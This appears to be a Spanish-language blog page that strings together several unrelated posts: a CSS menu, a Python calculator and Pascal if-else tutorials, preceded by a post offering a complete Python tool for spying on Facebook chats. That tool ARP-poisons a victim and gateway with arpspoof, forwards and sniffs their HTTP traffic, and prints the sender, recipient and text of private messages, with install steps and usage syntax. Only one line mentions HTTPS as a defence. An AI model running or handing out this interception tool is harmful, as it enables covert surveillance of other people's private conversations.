Hola amigos...Hoy les dejo esta herramienta, que lo que hace es espiar conversaciones de Facebook... En concreto esta tool es un sniffer...
El código esta escrito en Python, y bueno para usarlo necesitan tener instalado lo siguiente:

Python 2.x
arpspoof (dsniff suite)
dpkt
pypcap

Para instalar dichas herramientas en Ubuntu lo pueden hacer con el siguiente comando:

sudo apt-get install python-dpkt python-pypcap dsniff
 
Una vez instalado esta, podran usar dicha herramienta!!
Este es el source de la tool, AQUI:


#!/usr/bin/env python
#-*-encoding:utf8-*-

""" 2011 vdo.pure at gmail.com"""

''' Traducido por ZtuX... secret.user8[at]gmail[dot].com'''

"""

Este programa es software libre: Usted puede redistribuirlo y / o modificar
bajo los términos de la licencia GNU General Public License publicada por
la Free Software Foundation, bien de la versión 3 de la Licencia, o
(a su elección) cualquier versión posterior.

Este programa se distribuye con la esperanza de que sea útil,
pero SIN NINGUNA GARANTÍA, incluso sin la garantía implícita de
COMERCIALIZACIÓN o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulte la
Licencia Pública General GNU para más detalles.

Usted debería haber recibido una copia de la Licencia Pública General GNU
junto con este programa. Si no, vaya a http://www.gnu.org/licenses/>.
"""
import sys, os
import dpkt, pcap

def check_root():
""" Devuelve Verdadero (True) si el usuario es root, de lo contrario Falso (False) """
if os.getenv('LOGNAME','none').lower() == 'root':
return True
return False

def poison(iface,victim, gw):
""" IP Forwarding """
os.system("sysctl -w .net.ipv4.ip_forward=1 > /dev/null")
""" ARP cache poisoning, silent, in both directions """
os.system("arpspoof -i "+iface+" -t "+victim+" "+gw+" 2> /dev/null &")
os.system("arpspoof -i "+iface+" -t "+gw+" "+victim+" 2> /dev/null &")
print("Envenenamiento de Cache ARP...")


def fbchatgrep(p,pid):
data = str(p.data)
if ("{\"t\":\"msg") and ("\"type\":\"msg\"") in data:
msgid=data[data.find("\"msgID\":")+9:data.rfind("\"},\"from\":")]
if (pid != msgid ): #Comprobar si el mensaje apareció antes (ARP poison clones)
pid = msgid
print(" ")
s = "Mensaje de: "+data[data.find("from_name\":\"")+12:data.rfind("\",\"from_first_name")]
print(unicode(s,'unicode_escape').encode('utf-8'))
s = "Para: "+data[data.find("to_name\":\"")+10:data.rfind("\",\"to_first_name")]
print(unicode(s,'unicode_escape').encode('utf-8'))
s = data[data.find("\"text\":")+8:data.rfind(",\"time\"")-1]
print(unicode(s,'unicode_escape').encode('utf-8'))
print(" ")
return pid

if __name__ == '__main__':
if len(sys.argv) < 4:
print '''Traducido por ZtuX... Visita http://mundohacking.com
Para usar siga esta Sintaxis: ./sniff.py [intefaz] [victima] [gateway]
Ejemplo: ./sniff.py eth0 192.168.1.2 192.168.1.254'''
sys.exit(0)
if not check_root():
print 'Debes ser SuperUsuario'
sys.exit(1)

pid="fo bar"
pc = pcap.pcap(sys.argv[1])
pc.setfilter('tcp and port 80') #Sniff only http

try:
print 'Escuchando en: %s' % (pc.name)
print 'Para Salir teclea: Control+C'
poison(sys.argv[1],sys.argv[2],sys.argv[3])
for ts, pkt in pc:
packet = dpkt.ethernet.Ethernet(pkt)
pid = fbchatgrep(packet,pid)

except KeyboardInterrupt:
os.system("sysctl -w .net.ipv4.ip_forward=0 > /dev/null") # Deshabilitar IP Delantera
nrecv, ndrop, nifdrop = pc.stats()
print '\n%d packets received by filter' % nrecv
print '%d packets dropped by kernel' % ndrop



Y bueno, ahora ¿Como usarlo?
Bien primero copiamos nuestro código en un Editor de Textos como Gedit [por ejemplo] y lo guardamos con la extension .py[IMPORTANTE LA EXTENSION .PY], con el nombre sniff... Preferentemente guardarlo en el Escritorio, y nos quedara como sniff.py

Despues tendremos que darle permisos de Ejecucion y lo hacemos de la sig. manera:
Abrimos una Terminal y nos vamos al lugar donde guardamos nuestro archivo... y tecleamos:

chmod +x sniff.py
 


Como podran notar, en la imagen el nombre del archivo cambio de color, esto porque ahora tiene permisos de ejecucion...
Y bien para hacerlo funcionar, solo basta escribir en una terminal:
./sniff.py
 
Y nos devuelve algo como:

./sniff.py 
Traducido por ZtuX... Visita http://-----------------
Para usar siga esta Sintaxis: ./sniff.py <Intefaz> <Victima> <Gateway> 
Ejemplo: sniff.py eth0 192.168.1.2 192.168.1.254
 



Y para usarlo ahi tienen la sintaxis y un ejemplo...
Si asi es YO lo traducí jaja xD LOL!!Bueno eso es todo, alguna duda?? 

SaludOS
Por cierto se me olvidaba la página oficial de donde obtuve el source esta Aqui
Y ¿Como evitar este ataque?
Simple, ahora Facebook nos permite cifrar nuesta navegacion, para ello hay que ir a las opciones de nuestra cuenta y elegir la navegacion a travez de https

by [Z]tuX

Hola que hay!!

Pues quiero publicar un menú que hice con HTML/CSS, es muy básico pero tiene un  efecto, que cuando pasas el puntero en una opcion este sobre sale...
Aqui una captura de como Luce:

Y AQUI un demo...
Y aqui dejo el código:

<html>
<head><title>Menu Con CSS by ZtuX</title>
<style type="text/css">
#menu
{
  background-color:#000;
  width: 800px;
  margin:auto;
  border:1px solid;
  border-radius: 1px;
  -moz-border-radius: 10px;
  -webkit-border-radius: 10px;
  text-align:center;
}
.lista
{
display:inline;
}
.lista a
{
  color:#0f0;
  list-style:none;
  display:inline;
  padding: 15px;
  list-style:none;
  text-decoration:none;
}
.lista a:hover
{
  color:#0f0;
  background-color:#333;
  list-style:none;
  display:inline;
  padding: 5px;
  text-decoration:none;
  list-style:none;
  link:none;
  border:1px solid;
  border-radius: 1px;
  -moz-border-radius: 10px;
  -webkit-border-radius: 10px;
}
</style>
</head>

<body>

<h1 align="center">Menú Básico con HTML/CSS</h1>

<ul id="menu">
   <li class="lista"><a href="#">Inicio</a></li>
   <li class="lista"><a href="#">Mis productos</a></li>
   <li class="lista"><a href="#">Sobre Mi</a></li>
   <li class="lista"><a href="#">Contacto</a></li>
   <li class="lista"><a href="#">Mas</a></li>
   <li class="lista"><a href="#">Mas</a></li>
   <li class="lista"><a href="#">Mas</a></li>
   <li class="lista"><a href="#">Mas</a></li>
</ul>

</body>
</html>

Claro ustedes lo pueden editar a su gusto,
con los colores que quieran :D ,
e incluso recomiendo que hagan una hoja de estilos a parte 
y despues solo la vinculen con la pagina html...

def ZtuX()
print 'Saludos'
print 'By ZtuX'
Que tal amigos...
Hoy programe una calculadora muy pero muy básica en Python...
Que bueno el objetivo de el siguiente código no es mas que mostrar que es muy facil y simple programar en Python, y que su sintaxis es muy limpia y entendible...Por que no le veo chiste hacer una calculadora en python, porque sencillamente podemos escribir en el interprete:

5+4

Pero aquí dejo el codigo:

#!/bin/python
# -*- encoding: utf-8 -*-
##Calculadora en Python
##By z0kw3r 2011 Version: 1.0
#LICENCIA GPL

#Importamos la liberia de Matematicas
import math

print '###Calculadora by [Z0kw3r]###\n'
print '1)Suma\n','2)Resta\n','3)Multiplicacion\n','4)Division\n','5)Raiz'
opcion=input('Elige una Opcion:')

#Funciones
def suma():
num1=input('Valor 1: ')
num2=input('Valor 2: ')
resultado=num1+num2
print resultado
def resta():
num1=input('Valor 1: ')
num2=input('Valor 2: ')
resultado=num1-num2
print resultado
def multiplicacion():
num1=input('Valor 1: ')
num2=input('Valor 2: ')
resultado=num1*num2
print resultado
def division():
num1=input('Valor 1: ')
num2=input('Valor 2: ')
resultado=num1/num2
print resultado
def raiz():
x=input('Obtener raiz de: ')
y=math.sqrt(x)
print y

#Condiciones
if opcion==1:
suma()
elif opcion==2:
resta()
elif opcion==3:
multiplicacion()
elif opcion==4:
division()
elif opcion==5:
raiz()
elif opcion!=5:
print 'Tienes que elegir una opcion'
else:
exit()


Saludos xD
Eso es todo...
Ahora realizaremos un programa que nos diga siestamos inscritos en un curso. Para ello utilizaremos de nuevo la sentencia If-else. Primero realizaremos el Pseudocodigo, para evitar futuros errores alcompilar el programa:

*Begin
*Digitar el numero de folio (cred)
*Leer numero de folio (cred)
*Si cred>=5000 y <=10000
*Mostrar en Pantalla = ‘Estas inscrito’
*Si no mostar en pantalla =’No estás inscrito’
*end.

Ahora crearemos el código fuente:

{Titulo del programa}
Program credencial;
Uses
 CRT;
{Variables}
Var
  cred:real;
Begin
clrscr;
writeln ('Digite su numero de folio:');
Readln(cred);
if(cred >= 5000) and (cred <= 10000) then {Condición}
writeln ('Estas inscrito'){Si se cumple}
else
writeln ('No estas inscrito'); {Si no se cumple}
readln;
end.

Código Fuente

Si se cumple la condición

Si no se cumple la condición


Este es un simple ejemplo de una simple condición (if-else)
Bien, para explicar el funcionamiento de esta sentencia utilizaremoscomo base el ejemplo de Calcular el promedio final de una Materia.

Programpromedio_final;  {nombre del programa}
Uses
 CRT;
Var
  a,b,c,total:real;  {variables}
Begin
clrscr;
writeln ('Ingresa la calificacion del PrimerPeriodo:'); 
Readln (a);
writeln ('Ingresa la calificacion del SegundoPeriodo:');
Readln (b);
writeln ('Ingresa la calificacion del TercerPeriodo:');
Readln (c);
total:=((a+b+c)/3); 
writeln ('El promedio final es:',total:0:2);
readln;
end.

La sentencia If funciona de la siguiente manera:  La sentencia if, actúa como cabría esperar. Sila condición es verdadera, la sentencia se ejecuta, de otro modo, se saltadicha sentencia, continuando la ejecución del programa con otras sentencias acontinuación de ésta. La forma general de la sentencia If es:

                if (condición)
                               sentencia
                 else 
                            sentencia2;

Bien, pero para comprenderlo mejor añadiremos unas cuantas líneasal código fuente anterior.

Program promedio_final;  {nombre del programa}
Uses
 CRT;
Var
 a,b,c,total:real;  {variables}
Begin
clrscr;
writeln ('Ingresa la calificacion del PrimerPeriodo:'); 
Readln (a);
writeln ('Ingresa la calificacion del SegundoPeriodo:');
Readln (b);
writeln ('Ingresa la calificacion del TercerPeriodo:');
Readln (c);
total:=((a+b+c)/3); 
writeln('Tu calificacion es de ',total:0:2);
iftotal >= 8 then               {Sisacas mayor igual que 8}
writeln('Estas excento')     
else                                  {Si no sacas mayorigual que 8}
writeln('ESTAS EN EXAMEN FINAL');
readln;
end.

Puesaquí lo que nos interesa ahora son las siguientes líneas:

if total >= 8 then
writeln ('Estas excento')
else
writeln('ESTAS EN EXAMEN FINAL');

if total >= 8 then ---->  Si  lavariable “total” es mayor igual que 8 hacer esto
writeln('Estas excento')      ------->Mostraren pantalla ‘Estas excento’
else------------------------------------> Si no/de lo contrario
writeln('ESTAS EN EXAMEN FINAL');--> Mostar en pantalla 'ESTAS EN EXAMEN FINAL'

 Compilay corre el programa, para que observes el funcionamiento de la sentencia IF----> then

Código Fuente

Si se cumple la condición IF

Si no se cumple la condición IF


Tambiénchequen esta parte:  writeln ('Estas excento')no lleva “;”
sino hasta la línea : writeln ('ESTAS EN EXAMEN FINAL');

Ahora  haremos un programa endonde se conviertan pesos mexicanos a dólares, como en el ejemplo anteriorrealizaremos primero el Pseudocódigo, en este caso yo lo eh redactado así:

*Begin
*Ingresa la cantidad en Pesos Mexicanos que deseas convertir a Dólares:
*Leer pesos Mexicanos (a)
*Realizar operaciones (total=a/13.06)
*Imprimir el resultado en pantalla
*End

Donde:
a= Es lacantidad de pesos
total = esel valor en dólares

Ahorateniendo el Pseudocódigo podemos realizar el programa con mayor facilidad.Tomaremos de nuevo en cuenta la estructura básica de un programa:

PROGRAMNOMBRE_DEL_PROGRAMA;
USES
   CRT;
CONSTANTES
VARIABLES
BEGIN
CLRSCR;
INSTRUCCIONES;
END.

Bien,entonces con la estructura básica podemos realizar el programa:

{Esteprograma convierte de Pesos a Dólares}

ProgramConversor_Unidades;          {Nombre delprograma}
Uses
   crt;
var           {Declaración de variables}
    a,total:real;
Begin   {Aqui inician las instrucciones}
clrscr;
writeln('Ingresa la cantidad en Pesos Mexicanos que deseas convertir a Dolares:');  
readln (a);
total:=(a/13.06);
writeln ('Lacantidad en dolares es de ',total:0:2);
readln;
end.
Código Fuente

Programa en Funcionamiento

Nota: Laspalabras que están dentro de {} son comentarios que el programador puede hacer,por ejemplo para describir que es lo que hace su programa en cada paso. Estaslíneas son ignoradas totalmente por el IDE, y no afectan en el programa.

Recuerdencolocar “:0:2” después de la variable para que el resultado salga con dosdecimales.

Para realizar un programa es recomendable tener un Pseudocódigo, tambiénconocido como falso lenguaje.
 ¿Cómo se realiza? Bien, el pseudocódigono es más que todas las instrucciones que el programa tiene que hacer pero  las escribimos de forma que nosotros loentendamos.
Para nuestro siguiente programa que es un programa donde se calcule elpromedio final de una materia donde se evalúan tres periodos, vamos a crear un Pseudocódigo.

¿Y esto para qué? Para que a la hora de que tengamos que programar enPascal (en este caso, ya que lo podemos hacer para todos los lenguajes deprogramación) tengamos mayor facilidad de crear el código fuente y evitar menoserrores a la hora de compilar el código.

Empecemos:
*Inicio
* Ingresa la calificación del Primer Periodo:
*Leer  la calificación del PrimerPeriodo (a)
* Ingresa la calificación del Segundo Periodo:
* Leer la calificación del Segundo Periodo (b)
* Ingresa la calificación del Tercer Periodo:
* Leer la calificación del Tercer Periodo (c)
*Realizar operación: total=(a+b+c)/3
*Mostrar el resultado en Pantalla (total)
*Fin

En este caso yo hice de esta forma mi Pseudocódigo, así es como yo loentiendo y así es como se me facilita al crear mi programa, ustedes pudieronhaber creado otro pseudocódigo y pueden llegar a lo mismo.
El Pseudocódigo no lleva una estructura, como lo mencione antes, elpseudocódigo es de una forma que tú lo entiendas y que se cumpla el objetivo quequieres realizar…

Ya realizado nuestro pseudocódigo ahora procedemos a realizar elprograma.
 Bien, ahora realizaremos el códigodel programa donde se calcule el promedio final de una materia, donde se evalúantres periodos, tomando como base al anterior pseudocódigo.

Bien, nos dicen que hay que calcular el promedio, para calcular elpromedio debemos de tener una fórmula que ya en el pseudocódigo la tenemos:
                                                                     (a+b+c)/3
Dónde: a= Calificación del primer periodo.
              b= Calificación del segundo periodo.
              c= Calificación del tercer periodo.
              /3= porqueson 3 periodos a evaluar


Ahora para realizar el programa debemos de seguir laestructura básica de un programa:

PROGRAM NOMBRE_DEL_PROGRAMA;
UESES
   CRT;
CONSTANTES
VARIABLES
BEGIN
CLRSCR;
INSTRUCCIONES;
END.

Entonces empezaremos con:

Program promedio_final;    {Colocamosel nombre del programa}
Uses
 CRT;
Var                              
Begin
clrscr;
Instrucciones;
end.

Después necesitamos declarar las variables en el apartado VAR, quedaríaalgo así:

Programpromedio_final;
Uses
 CRT;
Var
  a,b,c,total:real;       {Aquí declaramos las variables a,b,c ytotal de tipo real}
Begin
clrscr;
Instrucciones;
end.

Ya declaradas las variables ahora necesitamos ingresar las instruccionesdel programa, siguiendo el pseudocódigo anterior tendríamos lo siguiente:

Program promedio_final;  {nombredel programa}
Uses
 CRT;
Var
  a,b,c,total:real;  {variables}
Begin
clrscr;
writeln ('Ingresa la calificacion del Primer Periodo:'); 
Readln (a);
writeln ('Ingresa la calificacion del Segundo Periodo:');
Readln (b);
writeln ('Ingresa la calificacion del Tercer Periodo:');
Readln (c);
total:=((a+b+c)/3); 
writeln ('El promedio final es:',total:0:2);
readln;
end.

Si nos damos cuenta la estructura del pseudocódigo es muysemejante al código fuente:
* Ingresa la calificación del Primer Periodo:
*Leer  la calificación del PrimerPeriodo (a)
* Ingresa la calificación del Segundo Periodo:
* Leer la calificación del Segundo Periodo (b)
* Ingresa la calificación del Tercer Periodo:
* Leer la calificación del Tercer Periodo (c)
*Realizar operación: total=(a+b+c)/3
*Mostrar el resultado en Pantalla (total)

Código Fuente del Ejemplo


Recuerden colocar :0:2 para que el resultado nos lo muestre condecimales y no como una potencia.
Y bien a la hora de compilar y correr el programa, ese deberíade calcular el promedio, si no compila el código fuente es porque hay un error y hay que checar donde está el error.